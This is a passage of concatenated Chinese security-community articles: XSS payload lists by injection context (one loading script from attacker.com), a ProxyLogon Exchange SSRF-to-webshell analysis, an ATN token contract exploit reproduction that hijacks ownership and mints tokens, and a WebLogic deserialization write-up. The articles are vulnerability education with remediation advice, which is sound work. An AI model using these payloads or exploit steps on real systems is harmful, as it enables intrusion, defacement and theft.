<script src=//attacker.com/evil.js></script>
<script>alert(1)</script>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>
为了注入JS代码成功，我们需要闭合前面的HTML标签，然后使用`<svg onload=alert(1)//` 类似payload 就可以成功XSS。
但是有些html标签中不执行js代码，例如：`<title>, <textarea
>,<xmp>`都需要使用`</xmp><script>alert(1)</script>` 先闭合标签，在插入JS代码。
## 0x02 属性 XSS
在这种情形下，用户的输入是在HTML 标签的属性当中的时候，怎么来执行JS 代码。会有三种情况：
* 双引号
* 单引号
* 无引号
就像这样：
<!DOCTYPE HTML>
<html>
<head>
<title></title>
</head>
<body>
.....
...
<input type="" name="input" value="{{user input}}"> <!-- 双引号 -->
<input type="" name="input" value='{{user input}}'> <!-- 单引号 -->
<input type="" name="input" value={{user input}}> <!-- 无引号 -->
...
....
</body>
</html>
1.双引号payloads：
"autofocus onfocus="alert(1)
"autofocus onfocus=alert(1)//
"onbeforescriptexecute=alert(1)//
"onmouseover="alert(1)//
"autofocus onblur="alert(1)
2.单引号payloads：
'autofocus onfocus='alert(1)
'autofocus onfocus=alert(1)//
'onbeforescriptexecute=alert(1)//
'onmouseover='alert(1)//
'autofocus onblur='alert(1)
3.无引号payloads：
aaaa autofocus onfocus=alert(1)//
aaaa onbeforescriptexecute=alert(1)//
aaaa onmouseover=alert(1)//
在使用这些标签属性的时候，并不是适用于每一个HTML标签，而且有些属性需要与用户的交互。当然也有不会执行JS的标签，例如：<meta>。更多的标签使用，可以查看参考里面的XSS过滤表。
还有些时候，用户的输入是在disabled或者hidden 中。
4.hidden 标签：
1)在onclick事件下，使用accesskey ，所以需要与用户交互。
<!DOCTYPE HTML>
<html>
..
<input type="hidden" value="{{userinput}}" />
..
</html>
Payload: `"accesskey="X" onclick="alert(1)"` ，为了触发事件，需要按Alt+SHIFT+X 键。
阿里先知XSS中的一道题：
<?php
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<form action=''>
<input type='hidden' name='token' value='<?php
echo htmlspecialchars($_GET['token']); ?>'>
<input type='submit'>
</body>
Payload: `token='style='behavior:url(?)'onreadystatechange='alert(1)`
2) 如果`type="hidden"` 参数是在后面：
<!DOCTYPE HTML>
<html>
..
<input value="{{userinput}}" type="hidden"/>
..
</html>
Payload: `" type=xx autofocus onfocus=alert(1)//`
5.disabled
<!DOCTYPE HTML>
<html>
..
<input disabled value="{{userinput}}" />
..
</html>
Payload: `"style="position:fixed;top:0;left:0;border:999em solid red;"
onmouseover="alert(1)` 只有firefox有效。
## 0x03 URL XSS
HTML标签 使用了加载URL的标签。
<script src="{{userinput}}"></script>
<a href="{{userinput}}">Click</a>
<iframe src="{{userinput}}" />
<base href="{{userinput}}">
<form action={{userinput}}>
<button>X</button>
<frameset><frame src="{{userinput}}"></frameset>
Payload: `javascript:alert(1)//`
## 0x04 JAVASCRIPT XSS
用户的输入在`<script>` 标签中，从而导致的JS代码执行。
1.
<!DOCTYPE HTML>
<html>
..
<script>
var x="{{userinput}}";// break out of quotes accordingly if its double or single
..
...
</script>
..
</html>
Payloads:
";alert(1)//
"-alert(1)-"
"+alert(1)+"
"*alert(1)*"
如果没有被转义的话，就可以直接执行JS代码了。
2.
<!DOCTYPE HTML>
<html>
..
<script>
var x={{userinput}};
..
...
</script>
..
</html>
Payloads:
alert(1);
1-alert(1);
alert(1)//
我们要做的就是保持插入的代码在JS代码中不会有语法的错误，这样才能保证我们Payload 的正确执行。
3.
<!DOCTYPE HTML>
<html>
..
<script>
var x=123;
function test(){
if(test =='{{userinput}}'){
//something
}
else
{
//something
}
}
test();
</script>
..
</html>
首先用 `test'){//` 封闭条件判断的地方，变成：
function test(){
if(test =='test'){//'){
//something
}
else
{
//something
}
}
但是这样只有在调用test()才能执行，所以我们要跳出这个函数输入：`test'){1}}//` 封闭test()函数：
function test(){
if(test =='test'){1}}//'){
//something
}
else
{
//something
}
}
我们在使用`test'){1}};alert(1);function test1(){ if(1){//` 把对应的test位置替换下，利用test1
来封闭剩下的函数，但是这样执行会有错误，我们使用ES6的箭头函数来替代`function` :
function test(){
if(test =='test'){1}};alert(1);test1=>{ if(1){//'){1}}//'){
//something
}
else
{
//something
}
}
格式化后：
当然了这些XSS代码都是一些示例，大佬可以无视哦，实际中的话还跟浏览器的处理还有很大的关系，以及网页设置的编码等。
## 0x05 参考
https://github.com/Metnew/uxss-db
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet (xss 过滤速查表)
审核人：yiwang 编辑：边边 | 社区文章 |
# Exchange漏洞分析（一）：SSRF RCE（CVE-2021-26855、CVE-2021-27065）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：雨夜
## 0x00 前言
在今年3月份，微软公布了多个Microsoft
Exchange的高危漏洞，通过组合利用这些漏洞可以在未经身份验证的情况下远程获取服务器权限。这套组合拳被称为ProxyLogon。安全研究员Orange
Tsai于2020年底发现该系列漏洞并命名。ProxyLogon是Exchange历史上最具影响力的漏洞之一，有上千台Exchange服务器被植入了webshell后门。
## 0x01 漏洞描述
CVE-2021-26855是一个SSRF漏洞，利用该漏洞可以绕过Exchange的身份验证，CVE-2021-27065是一个文件写入漏洞。二者结合可以在未登录的状态下写入webshell。
## 0x02 影响范围
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012
## 0x03 调试环境及工具
|
版本
---|---
操作系统
|
Windows Server 2012
应用名称
|
Microsoft Exchange Server 2016
.NET反编译调试器
|
DnSpy
.NET反编译对比器
|
Telerik ****
****
## 0x04 CVE-2021-26855 SSRF漏洞
### 1. 补丁查看
通过对比补丁内容，快速定位漏洞位置。
Exchange版本号查看：
打开 ExchangeManagement Shell，并执行命令：
**Get-ExchangeServer | fl name,edition,admindisplayversion**
版本对应关系可以在微软官网中[查看](https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016)：
搜索对应版本的补丁（Exchange 2016 RTM的补丁未找到，所以直接用 Exchange CU11 的补丁分析）：
[https://www.catalog.update.microsoft.com/Search.aspx?q=exchange%202016%20cu11](https://www.catalog.update.microsoft.com/Search.aspx?q=exchange%202016%20cu11)
下载补丁[KB5000871](https://www.catalog.update.microsoft.com/ScopedViewInline.aspx?updateid=67f2b6e2-ce5c-475f-9e92-949361e592aa)，使用winrar解压cab文件，解压后是一个msp文件，使用7-zip
对msp格式的文件内容进行提取。
使用[Telerik](https://www.telerik.com/download-trial-file/v2/justassembly)
对补丁内容做对比，内容有差异的dll文件如下，漏洞存在于Microsoft.Exchange.FrontEndHttpProxy.dll中：
使用Reflector对dll文件反编译并导出源码，方便对关键字进行搜索。
### 2. 漏洞调试
使用dnSpy对Microsoft.Exchange.FrontEndHttpProxy.dll 文件进行反编译，定位到class
BEResourceRequestHandler，下断点。
点击 【调试】–>【附加到进程】 MSExchangeECPAppPool，使用ProcessExplorer查看对应的进程ID。
使用进程ID进行过滤（注：必须以管理员权限运行dnSpy，否则无法获取进程信息）。
在BackEndCookieEntryParse 的TryParse()函数下断点，bp发请求，触发断点。
首先会根据uri来判断请求的协议类型，如果请求协议为ecp，即请求uri为/ecp/。跟踪进入CanHandle（）函数，验证cookie及uri的合法性。
获取cookie中X-BEResource的值
判断uri 是否合法
uri以 js，css，html，flt，xap等后缀结尾的文件（没有验证文件是否存在）都是合法的。拼接后 /ecp/xx.(js|css)
等都是有效uri。
接着对X-BEResource的值进行处理
获取到X-BEResource的值
并使用‘~’分割得到数组array
其中array[0] 为fqdn；array[1] 为version
接着进行版本比较
如果版本的值小于
E15MinVersion，进入if判断语句，并将类成员变量ProxyToDownLevel赋值为True，之后会调用身份认证函数EcpProxyRequestHandler.AddDownLevelProxyHeaders进行身份认证，如果没有通过认证，则返回401错误。同理如果version大于E15MinVersion则跳过if判断从而绕过身份认证。
经过一系列的解析
可以看到host的值是win2012，这个值我们可控，最后经过一系列的拼接得到AbsoluteUri的值：[https://host/autodiscover/autodiscover.xml](https://host/autodiscover/autodiscover.xml)
，autodiscover.xml 文件中包含有LegacyDN 的值。
进入CreateServerRequest函数，访问uri，
进入PrepareServerRequest函数，会进行授权认证判断，
接着进入AddProtocolSpecificHeadersToServerRequest，
由于ProxyToDownLevel被置为false不会进入if语句，从而导致可以直接绕过认证，进而在未授权的状态下获取autodiscover.xml文件内容。
## 0x05 CVE-2021-27065 任意文件写入漏洞
在Exchange服务器上依次打开【管理中心】 à 【服务器】 à 【虚拟目录】 à 【OAB虚拟目录】。
由于外部URL的内容可控，所以可在URL写入一句话木马（其中URL必须以http开头，以保持外部URL参数的合法性）。
之后可以通过重置虚拟目录，来把配置内容写入指定的路径。
注：路径必须是UNC路径格式：\\\host\ShareFolder\aaa.xml
修改路径为：[\\\win2012.test.local\C$\test.aspx](file://win2012.test.local/C%24/test.aspx)
可以看到OAB VirtualDirectory的配置信息已经被写入 C:/test.aspx。
l 上述操作请求内容如下：
写入配置
POST
/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=pM2NWg8xu0euTUqTjiLwzquHekjm6dgIw6lt6YfDyflndCz1iGsGnnhEivzKafJL9vhOxpqYuAU.
---
请求中有一个关键参数msExchEcpCanary，如果没有这个参数，服务端返回500错误。这个参数的值可以利用CVE-2021-26855
SSRF漏洞通过多次请求获取。
## 0x06 漏洞利用过程
整个过程都是在未登录的状态下，利用SSRF漏洞访问内部资源，Cookie中的 X-BEResource字段内容为要访问的资源链接。利用过程如图：
1. 获取server name，/ecp/xx.js，cookie中 mail.skyeye.com 为目标exchange的域名；
2. 通过SSRF漏洞读取autodiscover.xml文件，获取LegacyDN的值；
3. 利用Legacy DN获取SID；
4. 利用SID获取Session、msExchEcpCanary；
5. 写入shell。
cookie中的 X-BEResource字段内容为利用SSRF漏洞访问的内网资源。
指定保存路径
webshell路径为：
https://[ip]/owa/auth/dkYAIm7ELFjJ3KVzXb1Q.aspx
## 0x07 检测修复方案
l **检测方案：**
针对上述漏洞，微软发布了一款工具，用于帮助用户检测Exchange是否被黑客利用相关漏洞入侵。链接如下：
[https://github.com/microsoft/CSS-Exchange/tree/main/Security](https://github.com/microsoft/CSS-Exchange/tree/main/Security#test-proxylogonps1)
脚本
|
描述
---|---
EOMT.ps1
|
通过 URL 重写配置缓解 CVE-2021-26855
ExchangeMitigations.ps1
|
该脚本包含4个缓解措施，以帮助解决以下漏洞：cve-2021-26855、cve-2021-26857、cve-2021-27065、cve-2021-26858
http-vuln-cve2021-26855.nse
|
nmap扫描脚本，检测指定URL是否存在CVE-2021-26855漏洞
Test-ProxyLogon.ps1
|
该脚本检查CVE-2021-26855、26858、26857和27065漏洞是否存在被利用的迹象
l **修复方案：**
安装微软提供的漏洞补丁，相关漏洞补丁如下：
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065
## 0x08 参考链接
[https://www.freebuf.com/articles/web/265539.html](https://www.freebuf.com/articles/web/265539.html)
[https://www.praetorian.com/blog/reproducing-proxylogon-exploit/](https://www.praetorian.com/blog/reproducing-proxylogon-exploit/)
[https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019#client-access-protocol-architecture](https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019#client-access-protocol-architecture)
[https://secvery.com/5433.html](https://secvery.com/5433.html)
[https://www.4hou.com/posts/q66D](https://www.4hou.com/posts/q66D)
[https://www.anquanke.com/post/id/234607](https://www.anquanke.com/post/id/234607)
微信公众号搜索“ _云影实验室_ ”。
顺便插下招聘广告，安全研究员2名和安全开发工程师1名，有意者可以私信公众号。 | 社区文章 |
### 一、ATN介绍
ATN作为全球首个区块链+AI项目，是一个去中心化的、无需授权的、用户自定义人工智能即服务(AIaaS)和使用接口的开放区块链平台。ATN公有链将引入DBot的Oracle预言机、跨链互操作技术，且通过石墨烯架构实现高并发TPS，侧重解决人工智能服务(AIaas)与EVM兼容的智能合约之间互操作性的问题。ANT旨在提供下一代的区块链平台，提供AIaaS人工智能即服务和智能合约，为各个DApp服务，让其可以具备调用人工智能能力，繁荣DBot生态。
然而在2018年5月11日中午，ATN安全检测人员收到了异常的监控报告，并发现其ATN存在漏洞并遭受攻击。黑客利用了 ERC223
合约可传入自定义的接收调用函数与 ds-auth 权限校验等特征，在 ERC223
合约调用这个自定义函数时，合约调用自身函数从而造成内部权限控制失效。而本文，我们就针对这次事件进行漏洞分析，并在文章中对漏洞详情进行复现操作，以方便读者进行深入研究。
### 二、合约详解
ATN
Token合约采用的是在传统ERC20Token合约基础上的扩展版本[ERC223](https://github.com/ethereum/EIPs/issues/223
"ERC223")，并在此基础上调用了[dapphub/ds-auth](https://github.com/dapphub/ds-auth
"dapphub/ds-auth")
库。而我们在前文中提到的合约代码均为ERC20，这里为何使用ERC23呢？下面我们介绍一下ERC23与ERC20的区别。
ERC223 是由 Dexaran 于 2017 年 3 月 5 日提出的一个 Token 标准草案 ，用于改进 ERC20，解决其无法处理发往合约自身
Token 的这一问题。ERC20 有两套代币转账机制，一套为直接调用`transfer()`函数，另一套为调用 `approve() +
transferFrom()` 先授权再转账。当转账对象为智能合约时，这种情况必须使用第二套方法，否则转往合约地址的 Token 将永远无法再次转出。
下面我们具体来看一下ATN合约代码的具体函数。
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
首先，代码定义了两个合约，第一个合约作为接口，而第二个合约声明了两个事件，用于记录Authority以及设置owner。
下面是`DSAuth`合约。
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
此合约定义了一些基本的函数，而该合约大部分的功能是用于进行身份认证。例如`setOwner`用于更新`owner`的身份。而下面定义了一个`auth`修饰器，其中调用了下文的`isAuthorized`函数。次函数是来判断该地址是否为合约为`owner`或者是否被授权。
下面合约定义了`DSStop`。
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
看合约名我们也能清楚，该合约用于定义合约目前是否停止运行。所以合约内部定义了变量`stopped`并增加修饰器便于其余合约进行继承使用。
而为了防止出现整数溢出等问题，合约定义了安全函数。
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
通读此合约，我们能够了解到在除了正常的加减乘除之外，合约还定义了平方求幂的运算函数——`rpow`。不过此函数在ATN中并没有进行使用。
之后定义了`DSTokenBase`基础合约。
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
function DSTokenBase(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
}
该合约与ERC20等基础合约的部分相同，所以函数定义部分比较简单，这里就不进行详细说明。
contract DSToken is DSTokenBase(0), DSStop {
mapping (address => mapping (address => bool)) _trusted;
bytes32 public symbol;
uint256 public decimals = 18; // standard token precision. override to customize
function DSToken(bytes32 symbol_) public {
symbol = symbol_;
}
event Trust(address indexed src, address indexed guy, bool wat);
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function trusted(address src, address guy) public view returns (bool) {
return _trusted[src][guy];
}
function trust(address guy, bool wat) public stoppable {
_trusted[msg.sender][guy] = wat;
Trust(msg.sender, guy, wat);
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && !_trusted[src][msg.sender]) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && !_trusted[guy][msg.sender]) {
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
Burn(guy, wad);
}
// Optional token name
bytes32 public name = "";
function setName(bytes32 name_) public auth {
name = name_;
}
}
`DSToken`继承了上文的合约以及用于停止合约运行的`DSStop`合约。
比较值得注意的地方为`_trusted`。此函数类似于记录授权值，只有被授权后的用户才能代替进行转账操作。并且此授权值有固定的金额。
而`mint`函数也是此合约的重点。该函数用于增加某地址的金额数量，而想要执行此函数，必须经过授权或者拥有权限。
之后合约定义了`Controlled`。
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController { if (msg.sender != controller) throw; _; }
address public controller;
function Controlled() { controller = msg.sender;}
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) onlyController {
controller = _newController;
}
}
此合约用于进行权限的判断并进行对`controller`的修改。
而下面就是我们ATN合约的具体函数内容了。
ATN合约定义了多个类型的转账函数，其名字均相同，但是传入参数不同（便于参与者定制）。
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
// Alerts the token controller of the transfer
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
throw;
}
success = super.transferFrom(_from, _to, _amount);
if (success && isContract(_to))
{
// ERC20 backward compatiability
if(!_to.call(bytes4(keccak256("tokenFallback(address,uint256)")), _from, _amount)) {
// do nothing when error in call in case that the _to contract is not inherited from ERC223ReceivingContract
// revert();
// bytes memory empty;
ReceivingContractTokenFallbackFailed(_from, _to, _amount);
// Even the fallback failed if there is such one, the transfer will not be revert since "revert()" is not called.
}
}
}
我们挑选其中一个进行详细讲解。
function transferFrom(address _from, address _to, uint256 _amount, bytes _data, string _custom_fallback)
public
returns (bool success)
{
// Alerts the token controller of the transfer
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
throw;
}
require(super.transferFrom(_from, _to, _amount));
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);
}
ERC223Transfer(_from, _to, _amount, _data);
return true;
}
在该合约中，我们知道函数首先判断`controller`是否为一个合约而不是一个钱包地址。如何为合约的话，那么将调用`TokenController`中的`onTransfer`函数。
然而这并不是重点，之后将使用`require(super.transferFrom(_from, _to,
_amount));`函数进行转账操作，此处使用了继承的方法进行转账，并使用`require`进行对转账成功与否进行判断。只有成功才能继续进行。而后，我们将对`_to`地址进行判断，若此地址为合约，那么我们将调用`receiver.call.value(0)(bytes4(keccak256(_custom_fallback)),
_from, _amount,
_data);`。而领我们疑问的是为什么次函数会调用receiver的内部函数呢？我们在这里理解为：`ERC20Token与ERC20Token之间的直接互换。本质上是发送ATN时，通过回调函数执行额外指令，比如发回其他Token。`也就是说我们在进行了转账操作后可以传入指令自动执行地址下的函数，方便我们进行连续操作。（出发点很好，但是因为此而存在了漏洞）
而后是判定是否为合约的函数。
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
而为了保证安全性，合约还定义了转账函数以降低风险。
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
这里定义了`claimTokens`合约用于将余额全部提取以防止出现大的安全隐患。
### 三、漏洞复现
根据我们上文解释，我们能够发现在ATN合约中的转账函数多次出现了远程调用的内容。这其实是很危险的行为。通常当我们调用 ERC20 的
`approve()`函数给一个智能合约地址后，对方并不能收到相关通知进行下一步操作，常见做法是利用
接收通知调用（receiverCall）来解决无法监听的问题。上面代码是一种实现方式，很不幸这段代码有严重的 `CUSTOM_CALL`
滥用漏洞。调用`approveAndCall()`函数后，会接着执行`_spender`上用户自定义的其他方法来进行接收者的后续操作。
所以我们完全可以在`transferFrom`函数中传入特定的参数从而执行特定的函数。
function transferFrom(address _from, address _to, uint256 _amount,
bytes _data, string _custom_fallback) public returns (bool success)
{
ERC223ReceivingContract receiver =
ERC223ReceivingContract(_to);
receiving.call.value(0)(byte4(keccak256(_custom_fallback)),
_from, amout, data);
}
比如我们可以传入：
transferFrom( hacker_address, atn_contract_address, 0, 0,
"setOwner(address)")
_from: 0xxxxxxxx-- 黑客地址
_to: 0xxxxxxx -- ATN合约地址
_amount: 0
_data: 0x0
_custom_fallback: setOwner(address)
这样函数就会在执行转账操作后执行`setOwner`函数。此时 `setOwner`会先验证 `auth` 合法性的，而 `msg.sender`
就是ATN的合约地址。此时黑客将 ATN Token合约的 owner 变更为自己控制的地址。
首先我们需要部署合约。
之后调用mint函数进行挖矿向合约中注入一定资产。
进行查看。
此时我们创建攻击者账户。并查看其余额，查看当前owner。
之后我们切换到攻击者账户下，并传入参数：
`"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0xca35b7d915458ef540ade6068dfe2f44e8fa733c",0,0x00,"setOwner(address)"`
传入后，我们再次查看`owner`的信息。
却发现失败了。仔细阅读后发现我们需要将令`_to`为一个合约地址。
`"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0xbbf289d846208c16edc8474705c748aff07732db",0,0x00,"setOwner(address)"`
更换地址后，我们执行。得到如下结果。
此时我们能够看到 `owner`已经更换。
既然我们已经成为合约拥有者，那么我们就给自己点福利。
我们成功给自己的账户中增加了一定的token。
之后我们为了销声匿迹。将合约主人换回从前。
至此，我们的攻击目的已经达到。
在真实ATN中，我们能够查询到真实攻击的交易情况：
1. 黑客获得提权，将自己的地址设为owner
<https://etherscan.io/tx/0x3b7bd618c49e693c92b2d6bfb3a5adeae498d9d170c15fcc79dd374166d28b7b>
2. 黑客在获得owner权限后，发行1100w ATN到自己的攻击主地址
<https://etherscan.io/tx/0x9b559ffae76d4b75d2f21bd643d44d1b96ee013c79918511e3127664f8f7a910>
3. 黑客将owner设置恢复，企图隐藏踪迹
<https://etherscan.io/tx/0xfd5c2180f002539cd636132f1baae0e318d8f1162fb62fb5e3493788a034545a>
### 四、参考链接
* <http://btsabc.org/article-1449-1.html>
* <https://etherscan.io/address/0x461733c17b0755ca5649b6db08b3e213fcf22546#code>
* <https://paper.seebug.org/621/>
* <https://www.jianshu.com/p/38cbf879ac72>
* <https://github.com/dapphub/ds-auth/blob/master/src/auth.sol>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
作者: **启明星辰ADLab**
#### 0x01 漏洞描述
2017年1月27日，WebLogic 官方发布了一个编号为 CVEID: CVE-2017-3248 的漏洞，影响为 Critical
。之前轰动一时的反序列化漏洞，官方当时的修补措施，在本漏洞中可被绕过。此次漏洞影响 WebLogic 版本如下图所示：
#### 0x02 漏洞分析与验证
分析之前 WebLogic 漏洞 CVE-2015-4852 的补丁，发现 WebLogic 采用黑名单的方式过滤危险的反序列化类，如下图所示：
但是这种修复方式很被动，存在被绕过的风险，只要发现可用并且未在黑名单之外的反序列化类，那么之前的防护就会被打破，系统遭受攻击。这次发布的
CVE-2017-3248 就是利用了黑名单之外的反序列化类，通过 JRMP 协议达到执行任意反序列化 payload。（Java远程消息交换协议 JRMP
即 Java Remote MessagingProtocol ，是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java
远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。）
启明星辰 ADLab 通过对本漏洞的深度分析，构造了对应的 POC 并测试验证成功，具体验证情况如下：
测试环境：WebLogicServer 10.3.6.0.160719 ，已经打了 “Patch 23094342” 补丁。
测试过程：使用自制漏洞利用工具对测试系统进行漏洞利用测试。
第一步：监听 JRMP 协议端口
第二步：通过 T3 协议发送反序列化 payload
第三步：在 WebLogic 服务器上成功弹出计算器
#### 0x03 漏洞影响
该漏洞影响 WebLogic 10.3.6.0, 12.1.3.0,12.2.1.0, 12.2.1.1
多个版本，并且官方仍未发布针对该漏洞的补丁，所以危害巨大。
#### 0x04 漏洞对比
WebLogic 反序列化漏洞由于如前所述，其修补模式存在绕过可能性，引起不少圈内人士关注。曾在去年也被曝出过一个 CVE-2016-0638
漏洞，我们一并做个分析。
关于CVE-2016-0638，2016年4月11日 pwntester 在 github 放出了 CVE-2016-0638
的利用代码，[地址](https://github.com/pwntester/SerialKillerBypassGadgetCollection/blob/master/src/main/java/serialkiller/bypass/Weblogic1.java)。
原理是将反序列化的对象封装进了 `weblogic.corba.utils.MarshalledObject`，然后再对 MarshalledObject
进行序列化，生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里，可正常反序列化，在反序列化时
MarshalledObject 对象调用 readObject 时对 MarshalledObject
封装的序列化对象再次反序列化，这样就逃过了黑名单的检查。部分利用代码如下所示：
在打过 CVE-2015-4852 补丁的系统成功复现，如下图所示：
说明该漏洞可以绕过 CVE-2015-4852 这个漏洞的补丁，但是在测试 `WebLogicServer
10.3.6.0.160719`打了这个补丁时并未触发，直接抛出异常如下图所示：
可以看到 `weblogic.corba.utils.MarshalledObject` 已经加入了黑名单。
#### 0x05 漏洞修复
由于官方未发布针对该漏洞的补丁，可更新
p25388747_1036_Generic（10.3.6.0.170418）这个官方最新的补丁，除此之外其它补丁均不安全。经测试打了该补丁以后漏洞不能直接触发，但也只是缓解办法，未来仍要关注
WebLogic 官方补丁。
**几点建议：**
1\. 升级 JDK 版本。由于 Java 在今年一月份以后更新了反序列化防御接口，可以缓解反序列化漏洞的影响。
2\. 升级 WebLogic 、删除不需要的页面，清理不安全的第三方库。
漏洞相关： http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
http://www.cnvd.org.cn/flaw/show/CNVD-2017-00919
补丁汇总： http://blog.csdn.net/u013054618/article/details/71107100
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
受新冠疫情影响，只能宅在家，年前购买的树莓派4B（Raspberry
